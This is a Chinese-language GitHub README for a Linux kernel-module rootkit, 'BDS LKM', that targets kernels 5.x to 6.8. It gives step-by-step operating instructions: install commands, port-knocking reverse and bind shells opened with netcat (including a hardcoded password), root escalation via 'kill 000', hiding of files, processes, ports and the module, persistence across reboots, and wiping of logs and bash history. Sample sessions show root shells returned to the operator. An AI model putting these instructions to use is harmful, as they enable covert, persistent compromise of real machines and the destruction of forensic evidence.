bluedragonsecurity/bds_lkm
GitHub: bluedragonsecurity/bds_lkm
面向 Linux 5.x-6.8 x86_64 的可加载内核模块 rootkit,提供文件/进程/端口隐藏、端口敲门 shell、提权与持久化能力,适用于红队攻防与内核安全技术学习。
Stars: 18 | Forks: 6
BDS LKM ROOTKIT
Linux 可加载内核模块 Rootkit,适用于 x86_64 架构上的 Linux Kernel 5.x 至 linux kernel 6.8。
开发者:Antonius (wisdom)
网站:www.bluedragonsec.com
Github:https://github.com/bluedragonsecurity
此 lkm rootkit 仅适用于 x64 架构。
功能
- 隐藏带有前缀 bds_ 的文件和目录
- 端口敲门 bind shell(bind shell 密码为 bluedragonsec)
- 端口敲门 reverse shell
- 使用 kill 000 命令进行权限提升
- 对 netstat 隐藏 bind shell 和 reverse shell 的端口
- 隐藏 bind shell 和 reverse shell 的进程
- rootkit 持久化,在重启后依然存活
- 隐藏模块
- 在安装期间清理日志和 bash 历史记录
安装
你需要 root 权限才能安装此 rootkit。
如果你已经安装了 linux kernel headers、make 和 gcc,请运行安装脚本进行安装:
./install.sh direct
如果你尚未安装 linux kernel headers、make 和 gcc,请运行安装脚本进行安装:
./install.sh
使用 Rootkit
权限提升
一旦系统安装了此 rootkit,如果你丢失了 root 权限,可以通过输入以下命令重新获取 root 权限:kill 000
robotsoft@robotsoft:~$ id uid=1000(robotsoft) gid=1000(robotsoft) groups=1000(robotsoft),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare) robotsoft@robotsoft:~$ kill 000 robotsoft@robotsoft:~$ id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),999(sambashare),1000(robotsoft)
激活 Reverse Shell
要激活 reverse shell,你需要在 31337 端口上使用 netcat 设置一个监听器,然后对目标服务器(已安装 rootkit)的 1337 端口进行端口敲门。
在你的计算机上,打开终端并输入:
nc -l -p 31337 -v打开另一个终端选项卡,并对目标服务器进行端口敲门:
nc server ip 1337等待几秒钟,你将获得来自目标服务器的 reverse shell 端口连接。
示例(安装了 rootkit 的服务器 IP 地址为 192.168.0.102):
robotsoft@robotsoft:~$ nc -l -p 31337 -v Listening on 0.0.0.0 31337对目标 IP 地址(已安装 rootkit)进行端口敲门:
robotsoft@robotsoft:~$ nc 192.168.0.102 1337返回到之前的 netcat 监听器,你将收到一个 reverse shell 连接:
robotsoft@robotsoft:~$ nc -l -p 31337 -v Listening on 0.0.0.0 31337 Connection received on 192.168.0.102 44052 Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux id uid=0(root) gid=0(root) groups=0(root)
激活 Bind Shell
要激活 bind shell,你需要对目标服务器(已安装 rootkit)的 1338 端口进行端口敲门。
Bind shell 的密码为:bluedragonsec
在你的计算机上,打开终端并输入:
nc server ip 1338等待几秒钟,然后输入:
nc server ip 31337 输入密码:bluedragonsec示例(安装了 rootkit 的服务器 IP 地址为 192.168.0.102):
robotsoft@robotsoft:~$ nc 192.168.0.102 1338 (等待几秒钟) robotsoft@robotsoft:~$ nc 192.168.0.102 31337 Password :bluedragonsec Linux robotsoft 5.11.0-49-generic #55-Ubuntu SMP Wed Jan 12 17:36:34 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux id uid=0(root) gid=0(root) groups=0(root)
隐藏文件和目录
要隐藏文件和目录,只需在文件名和目录名前添加前缀 bds_
如何清理日志和 Bash 历史记录?
在运行安装脚本之前,将要清理日志的用户名添加到 usernames_to_clear_logs.txt 中(每个用户名占一行),例如:
root robotsoft用户日志将在 rootkit 安装期间被清理。
持久化
此 rootkit 在系统每次启动时都会被激活。重启后,请等待 1 分钟,rootkit 将被加载到内核中。
隐藏进程
此 rootkit 会隐藏 bind shell 进程和 reverse shell 进程。
隐藏端口
此 rootkit 会隐藏 bind shell 端口和 reverse shell 端口。